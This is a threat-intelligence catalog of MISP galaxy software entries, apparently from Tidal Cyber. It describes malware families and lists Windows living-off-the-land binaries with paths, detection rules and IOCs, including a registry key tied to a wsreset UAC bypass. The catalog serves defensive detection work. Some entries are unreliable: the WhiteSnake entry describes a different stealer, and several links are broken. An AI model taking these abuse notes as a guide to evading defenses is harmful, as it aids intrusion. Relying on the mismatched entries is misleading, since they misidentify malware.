The tag is: *misp-galaxy:software="WFMFormat"*

WhisperGate

[WhisperGate](https://app.tidalcyber.com/software/791f0afd-c2c4-4e23-8aee-1d14462667f5) is a multi-stage wiper designed to look like ransomware that has been used against multiple government, non-profit, and information technology organizations in Ukraine since at least January 2022.^{[[Cybereason WhisperGate February 2022](https://app.tidalcyber.com/references/464d9cac-04c7-4e57-a5d6-604fba90a982)]}^{[[Unit 42 WhisperGate January 2022](https://app.tidalcyber.com/references/3daa8c9e-da17-4eda-aa0d-df97c5de8f64)]}^{[[Microsoft WhisperGate January 2022](https://app.tidalcyber.com/references/e0c1fcd3-b7a8-42af-8984-873a6f969975)]}

The tag is: *misp-galaxy:software="WhisperGate"*

WhiteSnake

Meduza is an information stealer written in .NET that was first advertised on hacking forums in February 2022.^{[[WhiteSnake Stealer RussianPanda July 4 2023](/references/e7b4651b-804a-47b7-bd74-341ac0e8a7a9)]}

The tag is: *misp-galaxy:software="WhiteSnake"*

whoami

whoami displays user, group and privileges information for the user who is currently logged on to the local system. If used without parameters, whoami displays the current domain and user name.^{[[MicrosoftLearn March 2 2023](/references/073244c2-95fc-4f77-8857-f6ee9a65ff4e)]}

The tag is: *misp-galaxy:software="whoami"*

Wiarp

[Wiarp](https://app.tidalcyber.com/software/7b393608-c141-48af-ae3d-3eff13c3e01c) is a trojan used by [Elderwood](https://app.tidalcyber.com/groups/51146bb6-7478-44a3-8f08-19adcdceffca) to open a backdoor on compromised hosts. ^{[[Symantec Elderwood Sept 2012](https://app.tidalcyber.com/references/5e908748-d260-42f1-a599-ac38b4e22559)]} ^{[[Symantec Wiarp May 2012](https://app.tidalcyber.com/references/78285833-4b0d-4077-86d2-f34b010a5862)]}

The tag is: *misp-galaxy:software="Wiarp"*

Windows Credential Editor

[Windows Credential Editor](https://app.tidalcyber.com/software/7c2c44d7-b307-4e13-b181-52352975a6f5) is a password dumping tool. ^{[[Amplia WCE](https://app.tidalcyber.com/references/790ea33a-7a64-488e-ab90-d82e021e0c06)]}

The tag is: *misp-galaxy:software="Windows Credential Editor"*

WINDSHIELD

[WINDSHIELD](https://app.tidalcyber.com/software/ed50dcf7-e283-451e-95b1-a8485f8dd214) is a signature backdoor used by [APT32](https://app.tidalcyber.com/groups/c0fe9859-e8de-4ce1-bc3c-b489e914a145). ^{[[FireEye APT32 May 2017](https://app.tidalcyber.com/references/b72d017b-a70f-4003-b3d9-90d79aca812d)]}

The tag is: *misp-galaxy:software="WINDSHIELD"*

WindTail

[WindTail](https://app.tidalcyber.com/software/3afe711d-ed58-4c94-a9b6-9c847e1e8a2f) is a macOS surveillance implant used by [Windshift](https://app.tidalcyber.com/groups/4e880d01-313a-4926-8470-78c48824aa82). [WindTail](https://app.tidalcyber.com/software/3afe711d-ed58-4c94-a9b6-9c847e1e8a2f) shares code similarities with Hack Back aka KitM OSX.^{[[SANS Windshift August 2018](https://app.tidalcyber.com/references/97eac0f2-d528-4f7c-8425-7531eae4fc39)]}^{[[objective-see windtail1 dec 2018](https://app.tidalcyber.com/references/7a32c962-8050-45de-8b90-8644be5109d9)]}^{[[objective-see windtail2 jan 2019](https://app.tidalcyber.com/references/e6bdc679-ee0c-4f34-b5bc-0d6a26485b36)]}

The tag is: *misp-galaxy:software="WindTail"*

WINERACK

[WINERACK](https://app.tidalcyber.com/software/5f994df7-55b0-4383-8ebc-506d4987292a) is a backdoor used by [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66). ^{[[FireEye APT37 Feb 2018](https://app.tidalcyber.com/references/4d575c1a-4ff9-49ce-97cd-f9d0637c2271)]}

The tag is: *misp-galaxy:software="WINERACK"*

Winexe

[Winexe](https://app.tidalcyber.com/software/65d5b524-0e84-417d-9884-e2c501abfacd) is a lightweight, open source tool similar to [PsExec](https://app.tidalcyber.com/software/73eb32af-4bd3-4e21-8048-355edc55a9c6) designed to allow system administrators to execute commands on remote servers. ^{[[Winexe Github Sept 2013](https://app.tidalcyber.com/references/7003e2d4-83e5-4672-aaa9-53cc4bcb08b5)]} [Winexe](https://app.tidalcyber.com/software/65d5b524-0e84-417d-9884-e2c501abfacd) is unique in that it is a GNU/Linux based client. ^{[[Überwachung APT28 Forfiles June 2015](https://app.tidalcyber.com/references/3b85fff0-88d8-4df6-af0b-66e57492732e)]}

The tag is: *misp-galaxy:software="Winexe"*

winfile

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows File Manager executable

Author: Avihay Eldad

Paths: * C:\Windows\System32\winfile.exe * C:\Windows\winfile.exe * C:\Program Files\WinFile\winfile.exe * C:\Program Files (x86)\WinFile\winfile.exe * C:\Program

Files\WindowsApps\Microsoft.WindowsFileManager_10.3.0.0_x64__8wekyb3d8bbwe\WinFile\winfile.exe

Resources: * https://github.com/microsoft/winfile

Detection: None Provided^{[[winfile.exe - LOLBAS Project](/references/78e30416-6c71-44c5-8124-9d047d372474)]}

The tag is: *misp-galaxy:software="winfile"*

Wingbird

[Wingbird](https://app.tidalcyber.com/software/3e70078f-407e-4b03-b604-bdc05b372f37) is a backdoor that appears to be a version of commercial software [FinFisher](https://app.tidalcyber.com/software/41f54ce1-842c-428a-977f-518a5b63b4d7). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://app.tidalcyber.com/groups/3a660ef3-9954-4252-8946-f903f3f42d0c) in a May 2016 campaign. ^{[[Microsoft SIR Vol 21](https://app.tidalcyber.com/references/619b9cf8-7201-45de-9c36-834ccee356a9)]} ^{[[Microsoft NEODYMIUM Dec 2016](https://app.tidalcyber.com/references/87c9f8e4-f8d1-4f19-86ca-6fd18a33890b)]}

The tag is: *misp-galaxy:software="Wingbird"*

winget

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows Package Manager tool

Author: Paul Sanders

Paths: * C:\Users\user\AppData\Local\Microsoft\WindowsApps\winget.exe

Resources: * https://saulpanders.github.io/2022/01/02/New-Year-New-LOLBAS.html * https://docs.microsoft.com/en-us/windows/package-manager/winget/#production-recommended

Detection: * IOC: winget.exe spawned with local manifest file * IOC: Sysmon Event ID 1 - Process Creation * Analysis: https://saulpanders.github.io/2022/01/02/New-Year-New-LOLBAS.html * Sigma: [proc_creation_win_winget_local_install_via_manifest.yml]([winget.exe - LOLBAS Project](/references/5ef334f3-fe6f-4cc1-b37d-d147180a8b8d)]</sup>

The tag is: *misp-galaxy:software="winget"*

WinMM

[WinMM](https://app.tidalcyber.com/software/e10423c2-71a7-4878-96ba-343191136c19) is a full-featured, simple backdoor used by [Naikon](https://app.tidalcyber.com/groups/a80c00b2-b8b6-4780-99bb-df8fe921947d). ^{[[Baumgartner Naikon 2015](https://app.tidalcyber.com/references/09302b4f-7f71-4289-92f6-076c685f0810)]}

The tag is: *misp-galaxy:software="WinMM"*

Winnti for Linux

[Winnti for Linux](https://app.tidalcyber.com/software/e384e711-0796-4cbc-8854-8c3f939faf57) is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including [Winnti Group](https://app.tidalcyber.com/groups/6932662a-53a7-4e43-877f-6e940e2d744b). The Windows variant is tracked separately under [Winnti for Windows]([Chronicle Winnti for Linux May 2019 (https://app.tidalcyber.com/references/e815e47a-c924-4b03-91e5-d41f2bb74773)]</sup>

The tag is: *misp-galaxy:software="Winnti for Linux"*

Winnti for Windows

[Winnti for Windows](https://app.tidalcyber.com/software/245c216e-41c3-4dec-8b23-bfc7c6a46d6e) is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, [Winnti Group]([Kaspersky Winnti April 2013(https://app.tidalcyber.com/references/2d4834b9-61c4-478e-919a-317d97cd2c36)]</sup>^{[[Microsoft Winnti Jan 2017](https://app.tidalcyber.com/references/6b63fac9-4bde-4fc8-a016-e77c8485fab7)]}^{[[Novetta Winnti April 2015](https://app.tidalcyber.com/references/cbe8373b-f14b-4890-99fd-35ffd7090dea)]}^{[[401 TRG Winnti Umbrella May 2018](https://app.tidalcyber.com/references/e3f1f2e4-dc1c-4d9c-925d-47013f44a69f)]}. The Linux variant is tracked separately under [Winnti for Linux]([Chronicle Winnti for Linux May 2019(https://app.tidalcyber.com/references/e815e47a-c924-4b03-91e5-d41f2bb74773)]</sup>

The tag is: *misp-galaxy:software="Winnti for Windows"*

WinProj

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Project Executable

Author: Avihay Eldad

Paths: * C:\Program Files (x86)\Microsoft Office\Office14\WinProj.exe * C:\Program Files\Microsoft

Office\Office14\WinProj.exe * C:\Program Files (x86)\Microsoft Office\Office15\WinProj.exe * C:\Program Files\Microsoft Office\Office15\WinProj.exe * C:\Program Files (x86)\Microsoft Office\Office16\WinProj.exe * C:\Program Files\Microsoft Office\Office16\WinProj.exe * C:\Program Files (x86)\Microsoft Office\root\Office14\WinProj.exe * C:\Program Files\Microsoft Office\root\Office14\WinProj.exe * C:\Program Files (x86)\Microsoft Office\root\Office15\WinProj.exe * C:\Program Files\Microsoft Office\root\Office15\WinProj.exe * C:\Program Files (x86)\Microsoft Office\root\Office16\WinProj.exe * C:\Program Files\Microsoft Office\root\Office16\WinProj.exe

Resources: None Provided

Detection: * IOC: URL on a WinProj command line * IOC: WinProj making unexpected network connections or DNS requests^{[[WinProj.exe - LOLBAS Project](/references/d7ceab5b-ae4e-4c68-b5df-df46f1308ec5)]}

The tag is: *misp-galaxy:software="WinProj"*

WinRAR

According to its website, WinRAR is a "data compression, encryption and archiving tool for Windows", which is designed to process RAR and ZIP files.^{[[WinRAR Website](/references/ad620d61-108c-4bb0-a897-02764ea9a903)]} It is known to be abused by threat actors in order to archive (compress) files prior to their exfiltration from victim environments.^{[[U.S. CISA Play Ransomware December 2023](/references/ad96148c-8230-4923-86fd-4b1da211db1a)]}

The tag is: *misp-galaxy:software="WinRAR"*

winrm

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Script used for manage Windows RM settings

Author: Oddvar Moe

Paths: * C:\Windows\System32\winrm.vbs * C:\Windows\SysWOW64\winrm.vbs

Resources: * https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology * https://www.youtube.com/watch?v=3gz1QmiMhss * https://github.com/enigma0x3/windows-operating-system-archaeology * https://redcanary.com/blog/lateral-movement-winrm-wmi/ * https://twitter.com/bohops/status/994405551751815170 * [https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404](https://posts.specterops.io/

application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404) * https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

Detection: * Sigma: [proc_creation_win_winrm_awl_bypass.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winrm_awl_bypass.yml) * Sigma: [proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml) * Sigma: [file_event_win_winrm_awl_bypass.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml) * BlockRule: [https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules]([winrm.vbs - LOLBAS Project(/references/86107810-8a1d-4c13-80f0-c1624143d057)]</sup>

The tag is: *misp-galaxy:software="winrm"*

WinSCP

WinSCP is a tool used to facilitate file transfer using Secure Shell (SSH) File Transfer Protocol (FTP) for Microsoft Windows.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="WinSCP"*

Winword

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Office binary

Author: Reegun J (OCBC Bank)

Paths: * C:\Program Files\Microsoft Office\root\Office16\winword.exe * C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\winword.exe * C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\winword.exe * C:\Program Files (x86)\Microsoft Office\Office16\winword.exe * C:\Program Files\Microsoft Office\Office16\winword.exe * C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\winword.exe * C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\winword.exe * C:\Program Files (x86)\Microsoft Office\Office15\winword.exe * C:\Program Files\Microsoft Office\Office15\winword.exe * C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\winword.exe * C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\winword.exe * C:\Program Files (x86)\Microsoft Office\Office14\winword.exe * C:\Program Files\Microsoft Office\Office14\winword.exe * C:\Program

Files (x86)\Microsoft Office\Office12\winword.exe * C:\Program Files\Microsoft Office\Office12\winword.exe * C:\Program Files\Microsoft Office\Office12\winword.exe

Resources: * https://twitter.com/reegun21/status/1150032506504151040 * https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191

Detection: * Sigma: [proc_creation_win_office_arbitrary_cli_download.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_office_arbitrary_cli_download.yml) * IOC: Suspicious Office application Internet/network traffic^{[[Winword.exe - LOLBAS Project](/references/6d75b154-a51d-4541-8353-22ee1d12ebed)]}

The tag is: *misp-galaxy:software="Winword"*

Wiper

[Wiper](https://app.tidalcyber.com/software/627e05c2-c02e-433e-9288-c2d78bce156f) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. ^{[[Dell Wiper](https://app.tidalcyber.com/references/be6629ef-e7c6-411c-9bd2-34e59062cadd)]}

The tag is: *misp-galaxy:software="Wiper"*

WIREFIRE

[WIREFIRE](https://app.tidalcyber.com/software/93b02819-8acc-5d7d-ad11-abb33f9309cc) is a web shell written in Python that exists as trojanized logic to the visits.py component of Ivanti Connect Secure VPN appliances. [WIREFIRE](https://app.tidalcyber.com/software/93b02819-8acc-5d7d-ad11-abb33f9309cc) was used during [Cutting Edge](https://app.tidalcyber.com/campaigns/4e605e33-57fe-5bb2-b0ad-ec146aac041b) for downloading files and command execution.^{[[Mandiant Cutting Edge January 2024](https://app.tidalcyber.com/references/9d9ec923-89c1-5155-ae6e-98d4776d4250)]}

The tag is: *misp-galaxy:software="WIREFIRE"*

Wireshark

Wireshark is a popular open-source packet analyzer utility.

The tag is: *misp-galaxy:software="Wireshark"*

Wlrmdr

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under

[GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows Logon Reminder executable

Author: Moshe Kaplan

Paths: * c:\windows\system32\wlrmdr.exe

Resources: * https://twitter.com/0gtweet/status/1493963591745220608 * https://twitter.com/Oddvarmoe/status/927437787242090496 * https://twitter.com/falsneg/status/1461625526640992260 * https://docs.microsoft.com/en-us/windows/win32/api/shellapi/ns-shellapi-notifyicondataw

Detection: * Sigma: [proc_creation_win_lolbin_wlrmdr.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_wlrmdr.yml) * IOC: wlrmdr.exe spawning any new processes^{[[Wlrmdr.exe - LOLBAS Project](/references/43bebdc3-3072-4a3d-a0b7-0b23f1119136)]}

The tag is: *misp-galaxy:software="Wlrmdr"*

Wmic

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: The WMI command-line (WMIC) utility provides a command-line interface for WMI

Author: Oddvar Moe

Paths: * C:\Windows\System32\wbem\wmic.exe * C:\Windows\SysWOW64\wbem\wmic.exe

Resources: * https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory * https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html * https://twitter.com/subTee/status/986234811944648707

Detection: * Sigma: [image_load_wmic_remote_xsl_scripting_dlls.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml) * Sigma: [proc_creation_win_wmic_xsl_script_processing.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml) * Sigma:

[proc_creation_win_wmic_squiblytwo_bypass.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml) * Sigma: [proc_creation_win_wmic_eventconsumer_creation.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml) * Elastic: [defense_evasion_suspicious_wmi_script.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml) * Elastic: [persistence_via_windows_management_instrumentation_event_subscription.toml](https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml) * Elastic: [defense_evasion_suspicious_managedcode_host_process.toml](https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml) * Splunk: [xsl_script_execution_with_wmic.yml](https://github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml) * Splunk: [remote_wmi_command_attempt.yml](https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml) * Splunk: [remote_process_instantiation_via_wmi.yml](https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml) * Splunk: [process_execution_via_wmi.yml](https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml) * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * IOC: Wmic retrieving scripts from remote system/Internet location * IOC: DotNet CLR libraries loaded into wmic.exe * IOC: DotNet CLR Usage Log - wmic.exe.log^{[[LOLBAS Wmic](/references/497e73d4-9f27-4b30-ba09-f152ce866d0f)]}

The tag is: *misp-galaxy:software="Wmic"*

Woody RAT

```
[Woody RAT](https://app.tidalcyber.com/software/1f374a54-c839-5139-b755-555c66a21c12)
is a remote access trojan (RAT) that has been used since at least August 2021 against
Russian organizations.<sup>[[MalwareBytes WoodyRAT Aug
2022](https://app.tidalcyber.com/references/5c2ecb15-14e9-5bd3-be5f-
628fa4e98ee6)]</sup>
```

The tag is: *misp-galaxy:software="Woody RAT"*

WorkFolders

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Work Folders

Author: Elliot Killick

Paths: * C:\Windows\System32\WorkFolders.exe

Resources: * https://www.ctus.io/2021/04/12/exploading/ * https://twitter.com/ElliotKillick/status/1449812843772227588

Detection: * Sigma: [proc_creation_win_susp_workfolders.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml) * IOC: WorkFolders.exe should not be run on a normal workstation^{[[WorkFolders.exe - LOLBAS Project](/references/42cfa3eb-7a8c-482e-b8d8-78ae5c30b843)]}

The tag is: *misp-galaxy:software="WorkFolders"*

Wscript

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by Windows to execute scripts

Author: Oddvar Moe

Paths: * C:\Windows\System32\wscript.exe * C:\Windows\SysWOW64\wscript.exe

Resources: * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Detection: * Sigma: [proc_creation_win_wscript_cscript_script_exec.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wscript_cscript_script_exec.yml) * Sigma: [file_event_win_net_cli_artefact.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml) * Sigma: [image_load_susp_script_dotnet_clr_dll_load.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml) * Elastic:

[defense_evasion_unusual_dir_ads.toml](https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml) * Elastic: [command_and_control_remote_file_copy_scripts.toml](https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/command_and_control_remote_file_copy_scripts.toml) * Elastic: [defense_evasion_suspicious_managedcode_host_process.toml](https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml) * Splunk: [wscript_or_cscript_suspicious_child_process.yml](https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/wscript_or_cscript_suspicious_child_process.yml) * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * IOC: Wscript.exe executing code from alternate data streams * IOC: DotNet CLR libraries loaded into wscript.exe * IOC: DotNet CLR Usage Log - wscript.exe.log^{[[Wscript.exe - LOLBAS Project](/references/6c536675-84dd-44c3-8771-70120b413db7)]}

The tag is: *misp-galaxy:software="Wscript"*

Wsl

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows subsystem for Linux executable

Author: Matthew Brown

Paths: * C:\Windows\System32\wsl.exe

Resources: * https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * https://twitter.com/nas_bench/status/1535431474429808642

Detection: * Sigma: [proc_creation_win_wsl_lolbin_execution.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml) * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * IOC: Child process from wsl.exe^{[[Wsl.exe - LOLBAS Project](/references/c147902a-e8e4-449f-8106-9e268d5367d8)]}

The tag is: *misp-galaxy:software="Wsl"*

Wsreset

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used to reset Windows Store settings according to its manifest file

Author: Oddvar Moe

Paths: * C:\Windows\System32\wsreset.exe

Resources: * https://www.activecyber.us/activelabs/windows-uac-bypass * https://twitter.com/ihack4falafel/status/1106644790114947073 * https://github.com/hfiref0x/UACME/blob/master/README.md

Detection: * Sigma: [proc_creation_win_uac_bypass_wsreset_integrity_level.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml) * Sigma: [proc_creation_win_uac_bypass_wsreset.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml) * Sigma: [registry_event_bypass_via_wsreset.yml#](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml#) * Splunk: [wsreset_uac_bypass.yml](https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/wsreset_uac_bypass.yml) * IOC: wsreset.exe launching child process other than mmc.exe * IOC: Creation or modification of the registry value HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command * IOC: Microsoft Defender Antivirus as Behavior:Win32/UACBypassExp.T!gen^{[[Wsreset.exe - LOLBAS Project](/references/24b73a27-f2ec-4cfa-a9df-59d4d4c1dd89)]}

The tag is: *misp-galaxy:software="Wsreset"*

wt

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows Terminal

Author: Nasreddine Bencherchali

Paths: * C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_<version_packageid>\wt.exe

Resources: * https://twitter.com/nas_bench/status/1552100271668469761

Detection: * Sigma: [proc_creation_win_windows_terminal_susp_children.yml]([wt.exe - LOLBAS Project(/references/bbdd85b0-fdbb-4bd2-b962-a915c23c83c2)]</sup>

The tag is: *misp-galaxy:software="wt"*

wuauclt

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows Update Client

Author: David Middlehurst

Paths: * C:\Windows\System32\wuauclt.exe

Resources: * https://dtm.uk/wuauclt/

Detection: * Sigma: [net_connection_win_wuauclt_network_connection.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/network_connection/net_connection_win_wuauclt_network_connection.yml) * Sigma: [proc_creation_win_lolbin_wuauclt.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_wuauclt.yml) * Sigma: [proc_creation_win_wuauclt_execution.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wuauclt_execution.yml) * IOC: wuauclt run with a parameter of a DLL path * IOC: Suspicious wuauclt Internet/network connections^{[[wuauclt.exe - LOLBAS Project](/references/09229ea3-ffd8-4d97-9728-f8c683ef6f26)]}

The tag is: *misp-galaxy:software="wuauclt"*

wzshiming sshd

wzshiming sshd is an open-source SSH server.^{[[GitHub September 30 2021](/references/5e24d78d-35a2-4776-bebb-99c488a4c078)]}

The tag is: *misp-galaxy:software="wzshiming sshd"*

XAgentOSX

[XAgentOSX](https://app.tidalcyber.com/software/6f411b69-6643-4cc7-9cbd-e15d9219e99c) is a trojan that has been used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) on OS X and appears to be a port of their standard [CHOPSTICK](https://app.tidalcyber.com/software/01c6c49a-f7c8-44cd-a377-4dfd358ffeba) or XAgent trojan. ^{[[XAgentOSX 2017](https://app.tidalcyber.com/references/2dc7a8f1-ccee-46f0-a995-268694f11b02)]}

The tag is: *misp-galaxy:software="XAgentOSX"*

Xbash

